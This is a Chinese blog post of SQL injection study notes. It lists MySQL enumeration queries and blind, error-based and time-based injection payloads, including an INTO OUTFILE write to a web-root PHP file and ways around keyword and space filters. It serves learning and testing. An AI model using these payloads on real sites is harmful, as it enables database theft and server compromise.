基础知识
注入的分类
基于从服务器接收到的响应
▲基于错误的 SQL 注入
▲联合查询的类型
▲堆查询注射
▲SQL 盲注
•基于布尔 SQL 盲注
•基于时间的 SQL 盲注
•基于报错的 SQL 盲注
基于如何处理输入的 SQL 查询(数据类型)
▲基于字符串
▲数字或整数为基础的
基于注入点的位置上的
▲通过用户输入的表单域的注射。
▲通过 cookie 注射。
▲通过服务器变量注射。 (基于头部信息的注射)
系统函数
- version()——MySQL 版本
- user()——数据库用户名
- database()——数据库名
- @@datadir——数据库路径
- @@version_compile_os——操作系统版本
字符串连接函数
- concat(str1,str2,…)——没有分隔符地连接字符串
- concat_ws(separator,str1,str2,…)——含有分隔符地连接字符串
- group_concat(str1,str2,…)——连接一个组的所有字符串,并以逗号分隔每一条数据
一般流程
猜数据库
select schema_name from information_schema.schemata
猜某库的数据表
select table_name from information_schema.tables where table_schema=’xxxxx’
猜某表的所有列
select column_name from information_schema.columns where table_name=’xxxxx’
获取某列的内容
select *** from ****
PS:一般都会用到group_concat来显示所有数据。
盲注
基于布尔 SQL 盲注———-构造逻辑判断
▲left(database(),1)>’s’ //left()函数
Explain:database()显示数据库名称,left(a,b)从左侧截取 a 的前b 位
▲ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101 –+ //substr()函数,ascii()函数
Explain:substr(a,b,c)从 b 位置开始,截取字符串 a 的 c 长度。Ascii()将某个字符转换为 ascii 值
▲ascii(substr((select database()),1,1))=98
▲ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDERBY id LIMIT 0,1),1,1))>98%23 //ORD()函数,MID()函数
Explain:mid(a,b,c)从位置 b 开始,截取 a 字符串的 c 位 Ord()函数同 ascii(),将字符转为 ascii 值
▲regexp 正则注入 select user() regexp ‘^[a-z]’;
Explain:正则表达式的用法,user()结果为 root,regexp 为匹配 root 的正则表达式。第二位可以用 select user() regexp ‘^ro’来进行。
▲like 匹配注入
select user() like ‘ro%’
基于报错的 SQL 盲注——构造 payload 让信息通过错误提示回显出来
▲extractvalue(1,concat(0x7e,(select @@version),0x7e)) //mysql 对xml 数据进行查询和修改的 xpath 函数,xpath 语法错误
▲updatexml(1,concat(0x7e,(select @@version),0x7e),1) //mysql 对xml 数据进行查询和修改的 xpath 函数,xpath 语法错误
▲select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x; //mysql 重复特性,此处重复了 version,所以报错。
基于时间的 SQL 盲注———-延时注入
▲If(ascii(substr(database(),1,1))>115,0,sleep(5))%23 //if 判断语句,条件为假,执行 sleep
导入导出相关操作
导入到文件
SELECT…..INTO OUTFILE ‘file_name’
Select …… into outfile “c:\phpnow\htdocs\test.php”
增删改函数
插入
insert into users values(‘16’,’lcamry’,’lcamry’);
删除
删数据: delete from
表名; delete from 表名 where id=1;
删除结构:
删数据库:drop database 数据库名;
删除表:drop table 表名;
删除表中的列:alter table 表名 drop column 列名;
ps:delete from users where id=16
修改/更新
修改所有:updata 表名 set 列名=’新的值,非数字加单引号’ ;
带条件的修改:updata 表名 set 列名=’新的值,非数字加单引号’ where id=6;
ps: update users set username=’tt’ where id=15
HTTP 头部
如何绕过 or 和 and 过滤。一般性提供以下几种思路:
(1)大小写变形 Or,OR,oR
(2)编码,hex,urlencode
(3)添加注释/or/
(4)利用符号 and=&& or=||
对于注释和结尾字符的我们此处只能利用构造一个 ’ 来闭合后面到 ’ ;
对于空格,有较多的方法:
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格
- 本文标题:SQL注入学习笔记
- 本文作者:n3ym4r
- 创建时间:2020-04-07 21:55:14
- 本文链接:https://n3ym4r.github.io/2020/04/07/sql注入/
- 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!